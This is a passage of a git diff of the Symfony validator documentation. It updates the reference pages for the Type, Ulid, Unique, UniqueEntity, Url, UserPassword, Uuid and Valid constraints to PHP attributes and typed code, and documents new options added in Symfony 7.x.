:phpfunction:`string <is_string>` +* :phpfunction:`scalar <is_scalar>` +* :phpfunction:`array <is_array>` +* :phpfunction:`iterable <is_iterable>` +* :phpfunction:`countable <is_countable>` +* :phpfunction:`callable <is_callable>` * :phpfunction:`object <is_object>` -* :phpfunction:`real <is_real>` * :phpfunction:`resource <is_resource>` -* :phpfunction:`scalar <is_scalar>` -* :phpfunction:`string <is_string>` +* :phpfunction:`null <is_null>` + +If you're dealing with arrays, you can use the following types in the constraint: + +* ``list`` which uses :phpfunction:`array_is_list <array_is_list>` internally +* ``associative_array`` which is true for any **non-empty** array that is not a list Also, you can use ``ctype_*()`` functions from corresponding `built-in PHP extension`_. Consider `a list of ctype functions`_: @@ -217,5 +217,16 @@ Also, you can use ``ctype_*()`` functions from corresponding Make sure that the proper :phpfunction:`locale <setlocale>` is set before using one of these. +.. versionadded:: 7.1 + + The ``list`` and ``associative_array`` types were introduced in Symfony + 7.1. + +Finally, you can use aggregated functions: + +* ``number``: ``is_int || is_float && !is_nan`` +* ``finite-float``: ``is_float && is_finite`` +* ``finite-number``: ``is_int || is_float && is_finite`` + .. _built-in PHP extension: https://www.php.net/book.ctype .. _a list of ctype functions: https://www.php.net/ref.ctype diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst index 7bcae08e961..4094bab98f5 100644 --- a/reference/constraints/Ulid.rst +++ b/reference/constraints/Ulid.rst @@ -1,18 +1,10 @@ ULID ==== -.. versionadded:: 5.2 - - The ULID validator was introduced in Symfony 5.2. - Validates that a value is a valid `Universally Unique Lexicographically Sortable Identifier (ULID)`_. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `normalizer`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Ulid` Validator :class:`Symfony\\Component\\Validator\\Constraints\\UlidValidator` ========== =================================================================== @@ -22,7 +14,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/File.php namespace App\Entity; @@ -31,10 +23,8 @@ Basic Usage class File { - /** - * @Assert\Ulid - */ - protected $identifier; + #[Assert\Ulid] + protected string $identifier; } .. code-block:: yaml @@ -70,7 +60,9 @@ Basic Usage class File { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('identifier', new Assert\Ulid()); } @@ -81,6 +73,21 @@ Basic Usage Options ------- +``format`` +~~~~~~~~~~ + +**type**: ``string`` **default**: ``Ulid::FORMAT_BASE_32`` + +The format of the ULID to validate. The following formats are available: + +* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in `base32`_ (default) +* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in `base58`_ +* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the `RFC 4122 format`_ + +.. versionadded:: 7.2 + + The ``format`` option was introduced in Symfony 7.2. + .. include:: /reference/constraints/_groups-option.rst.inc ``message`` @@ -103,5 +110,7 @@ Parameter Description .. include:: /reference/constraints/_payload-option.rst.inc - .. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec +.. _`base32`: https://en.wikipedia.org/wiki/Base32 +.. _`base58`: https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58 +.. _`RFC 4122 format`: https://datatracker.ietf.org/doc/html/rfc4122 diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst index 97cb6ff8602..9ce84139cd5 100644 --- a/reference/constraints/Unique.rst +++ b/reference/constraints/Unique.rst @@ -2,8 +2,9 @@ Unique ====== Validates that all the elements of the given collection are unique (none of them -is present more than once). Elements are compared strictly, so ``'7'`` and ``7`` -are considered different elements (a string and an integer, respectively). +is present more than once). By default elements are compared strictly, +so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively). +If you want to apply any other comparison logic, use the `normalizer`_ option. .. seealso:: @@ -19,9 +20,6 @@ are considered different elements (a string and an integer, respectively). ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Unique` Validator :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator` ========== =================================================================== @@ -35,7 +33,7 @@ strings: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -44,10 +42,8 @@ strings: class Person { - /** - * @Assert\Unique - */ - protected $contactEmails; + #[Assert\Unique] + protected array $contactEmails; } .. code-block:: yaml @@ -83,7 +79,9 @@ strings: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('contactEmails', new Assert\Unique()); } @@ -92,10 +90,104 @@ strings: Options ------- +``fields`` +~~~~~~~~~~ + +**type**: ``array`` | ``string`` + +This is defines the key or keys in a collection that should be checked for +uniqueness. By default, all collection keys are checked for uniqueness. + +For instance, assume you have a collection of items that contain a +``latitude``, ``longitude`` and ``label`` fields. By default, you can have +duplicate coordinates as long as the label is different. By setting the +``fields`` option, you can force latitude+longitude to be unique in the +collection:: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/PointOfInterest.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class PointOfInterest + { + #[Assert\Unique(fields: ['latitude', 'longitude'])] + protected array $coordinates; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\PointOfInterest: + properties: + coordinates: + - Unique: + fields: [latitude, longitude] + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\PointOfInterest"> + <property name="coordinates"> + <constraint name="Unique"> + <option name="fields"> + <value>latitude</value> + <value>longitude</value> + </option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/PointOfInterest.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class PointOfInterest + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('coordinates', new Assert\Unique( + fields: ['latitude', 'longitude'], + )); + } + } + .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``errorPath`` +~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +.. versionadded:: 7.2 + + The ``errorPath`` option was introduced in Symfony 7.2. + +If a validation error occurs, the error message is, by default, bound to the +first element in the collection. Use this option to bind the error message to a +specific field within the first item of the collection. + +The value of this option must use any :doc:`valid PropertyAccess syntax </components/property_access>` +(e.g. ``'point_of_interest'``, ``'user.email'``). + +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This collection should contain only unique elements.`` @@ -107,7 +199,34 @@ You can use the following parameters in this message: ============================= ================================================ Parameter Description ============================= ================================================ -``{{ value }}`` The repeated value +``{{ value }}`` The current (invalid) value ============================= ================================================ +``normalizer`` +~~~~~~~~~~~~~~ + +**type**: a `PHP callable`_ **default**: ``null`` + +This option defined the PHP callable applied to each element of the given +collection before checking if the collection is valid. + +For example, you can pass the ``'trim'`` string to apply the :phpfunction:`trim` +PHP function to each element of the collection in order to ignore leading and +trailing whitespace during validation. + .. include:: /reference/constraints/_payload-option.rst.inc + +``stopOnFirstError`` +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``true`` + +By default, this constraint stops at the first violation. If this option is set +to ``false``, validation continues on all elements and returns all detected +:class:`Symfony\\Component\\Validator\\ConstraintViolation` objects. + +.. versionadded:: 7.3 + + The ``stopOnFirstError`` option was introduced in Symfony 7.3. + +.. _`PHP callable`: https://www.php.net/callable diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst index 2bf2533f57e..0ab2c0a8cbd 100644 --- a/reference/constraints/UniqueEntity.rst +++ b/reference/constraints/UniqueEntity.rst @@ -10,17 +10,13 @@ using an email address that already exists in the system. If you want to validate that all the elements of the collection are unique use the :doc:`Unique constraint </reference/constraints/Unique>`. +.. note:: + + In order to use this constraint, you should have installed the + symfony/doctrine-bridge with Composer. + ========== =================================================================== Applies to :ref:`class <validation-class-target>` -Options - `em`_ - - `entityClass`_ - - `errorPath`_ - - `fields`_ - - `groups`_ - - `ignoreNull`_ - - `message`_ - - `payload`_ - - `repositoryMethod`_ Class :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntity` Validator :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntityValidator` ========== =================================================================== @@ -34,7 +30,7 @@ between all of the rows in your user table: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -46,17 +42,13 @@ between all of the rows in your user table: use Symfony\Component\Validator\Constraints as Assert; - /** - * @ORM\Entity - * @UniqueEntity("email") - */ + #[ORM\Entity] + #[UniqueEntity('email')] class User { - /** - * @ORM\Column(name="email", type="string", length=255, unique=true) - * @Assert\Email - */ - protected $email; + #[ORM\Column(name: 'email', type: 'string', length: 255, unique: true)] + #[Assert\Email] + protected string $email; } .. code-block:: yaml @@ -99,24 +91,49 @@ between all of the rows in your user table: class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addConstraint(new UniqueEntity([ - 'fields' => 'email', - ])); + $metadata->addConstraint(new UniqueEntity( + fields: 'email', + )); $metadata->addPropertyConstraint('email', new Assert\Email()); } } -.. caution:: + // src/Form/Type/UserType.php + namespace App\Form\Type; + + // ... + // DON'T forget the following use statement!!! + use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; + + class UserType extends AbstractType + { + // ... + + public function configureOptions(OptionsResolver $resolver): void + { + $resolver->setDefaults([ + // ... + 'data_class' => User::class, + 'constraints' => [ + new UniqueEntity(fields: ['email']), + ], + ]); + } + } + +.. warning:: This constraint doesn't provide any protection against `race conditions`_. They may occur when another entity is persisted by an external process after this validation has passed and before this entity is actually persisted in the database. -.. caution:: +.. warning:: This constraint cannot deal with duplicates found in a collection of items that haven't been persisted as entities yet. You'll need to create your own @@ -128,17 +145,17 @@ Options em ~~ -**type**: ``string`` +**type**: ``string`` **default**: ``null`` The name of the entity manager to use for making the query to determine the uniqueness. If it's left blank, the correct entity manager will be determined for this class. For that reason, this option should probably not need to be used. -entityClass -~~~~~~~~~~~ +``entityClass`` +~~~~~~~~~~~~~~~ -**type**: ``string`` +**type**: ``string`` **default**: ``null`` By default, the query performed to ensure the uniqueness uses the repository of the current class instance. However, in some cases, such as when using Doctrine @@ -146,8 +163,8 @@ inheritance mapping, you need to execute the query in a different repository. Use this option to define the fully-qualified class name (FQCN) of the Doctrine entity associated with the repository you want to use. -errorPath -~~~~~~~~~ +``errorPath`` +~~~~~~~~~~~~~ **type**: ``string`` **default**: The name of the first field in `fields`_ @@ -159,33 +176,28 @@ Consider this example: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Service.php namespace App\Entity; + use App\Entity\Host; use Doctrine\ORM\Mapping as ORM; use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; - /** - * @ORM\Entity - * @UniqueEntity( - * fields={"host", "port"}, - * errorPath="port", - * message="This port is already in use on that host." - * ) - */ + #[ORM\Entity] + #[UniqueEntity( + fields: ['host', 'port'], + message: 'This port is already in use on that host.', + errorPath: 'port', + )] class Service { - /** - * @ORM\ManyToOne(targetEntity="App\Entity\Host") - */ - public $host; - - /** - * @ORM\Column(type="integer") - */ - public $port; + #[ORM\ManyToOne(targetEntity: Host::class)] + public Host $host; + + #[ORM\Column(type: 'integer')] + public int $port; } .. code-block:: yaml @@ -195,8 +207,8 @@ Consider this example: constraints: - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity: fields: [host, port] - errorPath: port message: 'This port is already in use on that host.' + errorPath: port .. code-block:: xml @@ -212,8 +224,8 @@ Consider this example: <value>host</value> <value>port</value> </option> - <option name="errorPath">port</option> <option name="message">This port is already in use on that host.</option> + <option name="errorPath">port</option> </constraint> </class> @@ -224,30 +236,31 @@ Consider this example: // src/Entity/Service.php namespace App\Entity; + use App\Entity\Host; use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; use Symfony\Component\Validator\Mapping\ClassMetadata; class Service { - public $host; - public $port; + public Host $host; + public int $port; - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addConstraint(new UniqueEntity([ 'fields' => ['host', 'port'], - 'errorPath' => 'port', 'message' => 'This port is already in use on that host.', + 'errorPath' => 'port', ])); } } Now, the message would be bound to the ``port`` field with this configuration. -fields -~~~~~~ +``fields`` +~~~~~~~~~~ -**type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` | ``string`` This required option is the field (or list of fields) on which this entity should be unique. For example, if you specified both the ``email`` and ``name`` @@ -256,23 +269,100 @@ the combination value is unique (e.g. two users could have the same email, as long as they don't have the same name also). If you need to require two fields to be individually unique (e.g. a unique -``email`` *and* a unique ``username``), you use two ``UniqueEntity`` entries, +``email`` and a unique ``username``), you use two ``UniqueEntity`` entries, each with a single field. .. include:: /reference/constraints/_groups-option.rst.inc -ignoreNull -~~~~~~~~~~ +``ignoreNull`` +~~~~~~~~~~~~~~ -**type**: ``boolean`` **default**: ``true`` +**type**: ``boolean``, ``string`` or ``array`` **default**: ``true`` If this option is set to ``true``, then the constraint will allow multiple entities to have a ``null`` value for a field without failing validation. If set to ``false``, only one ``null`` value is allowed - if a second entity also has a ``null`` value, validation would fail. -message -~~~~~~~ +In addition to ignoring the ``null`` values of all unique fields, you can also use +this option to specify one or more fields to only ignore ``null`` values on them: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + use Doctrine\ORM\Mapping as ORM; + use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; + use Symfony\Component\Validator\Constraints as Assert; + + #[ORM\Entity] + #[UniqueEntity(fields: ['email', 'phoneNumber'], ignoreNull: 'phoneNumber')] + class User + { + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\User: + constraints: + - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity: + fields: ['email', 'phoneNumber'] + ignoreNull: 'phoneNumber' + properties: + # ... + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\User"> + <constraint name="Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity"> + <option name="fields">email</option> + <option name="fields">phoneNumber</option> + <option name="ignore-null">phoneNumber</option> + </constraint> + <!-- ... --> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; + use Symfony\Component\Validator\Constraints as Assert; + + class User + { + public static function loadValidatorMetadata(ClassMetadata $metadata) + { + $metadata->addConstraint(new UniqueEntity( + fields: ['email', 'phoneNumber'], + ignoreNull: 'phoneNumber', + )); + + // ... + } + } + +.. warning:: + + If you ``ignoreNull`` on fields that are part of a unique index in your + database, you might see insertion errors when your application attempts to + persist entities that the ``UniqueEntity`` constraint considers valid. + +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is already used.`` @@ -294,14 +384,10 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -repositoryMethod -~~~~~~~~~~~~~~~~ +``repositoryMethod`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``findBy`` diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst index 5f4ac23245f..c3fac520f96 100644 --- a/reference/constraints/Url.rst +++ b/reference/constraints/Url.rst @@ -5,12 +5,6 @@ Validates that a value is a valid URL string. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `normalizer`_ - - `payload`_ - - `protocols`_ - - `relativeProtocol`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Url` Validator :class:`Symfony\\Component\\Validator\\Constraints\\UrlValidator` ========== =================================================================== @@ -20,7 +14,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -29,10 +23,8 @@ Basic Usage class Author { - /** - * @Assert\Url - */ - protected $bioUrl; + #[Assert\Url] + protected string $bioUrl; } .. code-block:: yaml @@ -68,7 +60,9 @@ Basic Usage class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('bioUrl', new Assert\Url()); } @@ -85,8 +79,8 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not a valid URL.`` @@ -101,13 +95,9 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -116,12 +106,10 @@ Parameter Description class Author { - /** - * @Assert\Url( - * message = "The url '{{ value }}' is not a valid url", - * ) - */ - protected $bioUrl; + #[Assert\Url( + message: 'The url {{ value }} is not a valid url', + )] + protected string $bioUrl; } .. code-block:: yaml @@ -160,11 +148,13 @@ Parameter Description class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('bioUrl', new Assert\Url([ - 'message' => 'The url "{{ value }}" is not a valid url.', - ])); + $metadata->addPropertyConstraint('bioUrl', new Assert\Url( + message: 'The url "{{ value }}" is not a valid url.', + )); } } @@ -172,8 +162,8 @@ Parameter Description .. include:: /reference/constraints/_payload-option.rst.inc -protocols -~~~~~~~~~ +``protocols`` +~~~~~~~~~~~~~ **type**: ``array`` **default**: ``['http', 'https']`` @@ -183,7 +173,7 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -192,12 +182,10 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing class Author { - /** - * @Assert\Url( - * protocols = {"http", "https", "ftp"} - * ) - */ - protected $bioUrl; + #[Assert\Url( + protocols: ['http', 'https', 'ftp'], + )] + protected string $bioUrl; } .. code-block:: yaml @@ -239,16 +227,18 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('bioUrl', new Assert\Url([ - 'protocols' => ['http', 'https', 'ftp'], - ])); + $metadata->addPropertyConstraint('bioUrl', new Assert\Url( + protocols: ['http', 'https', 'ftp'], + )); } } -relativeProtocol -~~~~~~~~~~~~~~~~ +``relativeProtocol`` +~~~~~~~~~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``false`` @@ -258,7 +248,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -267,12 +257,10 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). class Author { - /** - * @Assert\Url( - * relativeProtocol = true - * ) - */ - protected $bioUrl; + #[Assert\Url( + relativeProtocol: true, + )] + protected string $bioUrl; } .. code-block:: yaml @@ -310,10 +298,128 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('bioUrl', new Assert\Url( + relativeProtocol: true, + )); + } + } + +``requireTld`` +~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +.. versionadded:: 7.1 + + The ``requireTld`` option was introduced in Symfony 7.1. + +.. deprecated:: 7.1 + + Not setting the ``requireTld`` option is deprecated since Symfony 7.1 + and will default to ``true`` in Symfony 8.0. + +By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid +because they are technically correct according to the `URL spec`_. If you set this option +to ``true``, the host part of the URL will have to include a TLD (top-level domain +name): e.g. ``https://example.com`` will be valid but ``https://example`` won't. + +.. note:: + + This constraint does not validate that the given TLD value is included in + the `list of official top-level domains`_ (because that list is growing + continuously and it's hard to keep track of it). + +``tldMessage`` +~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This URL does not contain a TLD.`` + +.. versionadded:: 7.1 + + The ``tldMessage`` option was introduced in Symfony 7.1. + +This message is shown if the ``requireTld`` option is set to ``true`` and the URL +does not contain at least one TLD. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ value }}`` The current (invalid) value +``{{ label }}`` Corresponding form field label +=============== ============================================================== + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Website.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class Website + { + #[Assert\Url( + requireTld: true, + tldMessage: 'Add at least one TLD to the {{ value }} URL.', + )] + protected string $homepageUrl; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Website: + properties: + homepageUrl: + - Url: + requireTld: true + tldMessage: Add at least one TLD to the {{ value }} URL. + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Website"> + <property name="homepageUrl"> + <constraint name="Url"> + <option name="requireTld">true</option> + <option name="tldMessage">Add at least one TLD to the {{ value }} URL.</option> + </constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Website.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Website + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('bioUrl', new Assert\Url([ - 'relativeProtocol' => true, - ])); + $metadata->addPropertyConstraint('homepageUrl', new Assert\Url( + requireTld: true, + tldMessage: 'Add at least one TLD to the {{ value }} URL.', + )); } } + +.. _`URL spec`: https://datatracker.ietf.org/doc/html/rfc1738 +.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst index 9655380bf95..5981be99b66 100644 --- a/reference/constraints/UserPassword.rst +++ b/reference/constraints/UserPassword.rst @@ -12,16 +12,13 @@ password, but needs to enter their old password for security. .. note:: - In order to use this constraints, you should have installed the + In order to use this constraint, you should have installed the symfony/security-core component with Composer. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ -Class :class:`Symfony\\Component\\Validator\\Constraints\\UserPassword` -Validator :class:`Symfony\\Component\\Validator\\Constraints\\UserPasswordValidator` +Class :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword` +Validator :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator` ========== =================================================================== Basic Usage @@ -34,7 +31,7 @@ the user's current password: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Form/Model/ChangePassword.php namespace App\Form\Model; @@ -43,12 +40,10 @@ the user's current password: class ChangePassword { - /** - * @SecurityAssert\UserPassword( - * message = "Wrong value for your current password" - * ) - */ - protected $oldPassword; + #[SecurityAssert\UserPassword( + message: 'Wrong value for your current password', + )] + protected string $oldPassword; } .. code-block:: yaml @@ -89,7 +84,9 @@ the user's current password: class ChangePassword { - public static function loadValidatorData(ClassMetadata $metadata) + // ... + + public static function loadValidatorData(ClassMetadata $metadata): void { $metadata->addPropertyConstraint( 'oldPassword', diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst index 427a373f788..c9f6c9741bf 100644 --- a/reference/constraints/Uuid.rst +++ b/reference/constraints/Uuid.rst @@ -4,16 +4,10 @@ UUID Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_. By default, this will validate the format according to the RFC's guidelines, but this can be relaxed to accept non-standard UUIDs that other systems (like PostgreSQL) accept. -UUID versions can also be restricted using a whitelist. +UUID versions can also be restricted using a list of allowed versions. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `normalizer`_ - - `payload`_ - - `strict`_ - - `versions`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Uuid` Validator :class:`Symfony\\Component\\Validator\\Constraints\\UuidValidator` ========== =================================================================== @@ -23,7 +17,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/File.php namespace App\Entity; @@ -32,10 +26,8 @@ Basic Usage class File { - /** - * @Assert\Uuid - */ - protected $identifier; + #[Assert\Uuid] + protected string $identifier; } .. code-block:: yaml @@ -71,7 +63,9 @@ Basic Usage class File { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('identifier', new Assert\Uuid()); } @@ -100,10 +94,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_normalizer-option.rst.inc .. include:: /reference/constraints/_payload-option.rst.inc @@ -124,10 +114,11 @@ will allow alternate input formats like: ``versions`` ~~~~~~~~~~~~ -**type**: ``int[]`` **default**: ``[1,2,3,4,5,6]`` +**type**: ``int[]|int`` **default**: ``[1,2,3,4,5,6,7,8]`` -This option can be used to only allow specific `UUID versions`_. Valid versions are 1 - 6. -The following PHP constants can also be used: +This option can be used to only allow specific `UUID versions`_ (by default, all +of them are allowed). Valid versions are 1 - 8. Instead of using numeric values, +you can also use the following PHP constants to refer to each UUID version: * ``Uuid::V1_MAC`` * ``Uuid::V2_DCE`` @@ -135,12 +126,8 @@ The following PHP constants can also be used: * ``Uuid::V4_RANDOM`` * ``Uuid::V5_SHA1`` * ``Uuid::V6_SORTABLE`` - -All six versions are allowed by default. - -.. versionadded:: 5.2 - - The UUID 6 version support was introduced in Symfony 5.2. +* ``Uuid::V7_MONOTONIC`` +* ``Uuid::V8_CUSTOM`` .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122 diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst index 1cb992128ac..61a2c1d992c 100644 --- a/reference/constraints/Valid.rst +++ b/reference/constraints/Valid.rst @@ -7,9 +7,6 @@ an object and all sub-objects associated with it. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `payload`_ - - `traverse`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Valid` ========== =================================================================== @@ -27,8 +24,9 @@ stores an ``Address`` instance in the ``$address`` property:: class Address { - protected $street; - protected $zipCode; + protected string $street; + + protected string $zipCode; } .. code-block:: php @@ -38,14 +36,16 @@ stores an ``Address`` instance in the ``$address`` property:: class Author { - protected $firstName; - protected $lastName; - protected $address; + protected string $firstName; + + protected string $lastName; + + protected Address $address; } .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Address.php namespace App\Entity; @@ -54,16 +54,12 @@ stores an ``Address`` instance in the ``$address`` property:: class Address { - /** - * @Assert\NotBlank - */ - protected $street; - - /** - * @Assert\NotBlank - * @Assert\Length(max=5) - */ - protected $zipCode; + #[Assert\NotBlank] + protected string $street; + + #[Assert\NotBlank] + #[Assert\Length(max: 5)] + protected string $zipCode; } // src/Entity/Author.php @@ -73,18 +69,14 @@ stores an ``Address`` instance in the ``$address`` property:: class Author { - /** - * @Assert\NotBlank - * @Assert\Length(min=4) - */ - protected $firstName; - - /** - * @Assert\NotBlank - */ - protected $lastName; - - protected $address; + #[Assert\NotBlank] + #[Assert\Length(min: 4)] + protected string $firstName; + + #[Assert\NotBlank] + protected string $lastName; + + protected Address $address; } .. code-block:: yaml @@ -151,11 +143,13 @@ stores an ``Address`` instance in the ``$address`` property:: class Address { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('street', new Assert\NotBlank()); $metadata->addPropertyConstraint('zipCode', new Assert\NotBlank()); - 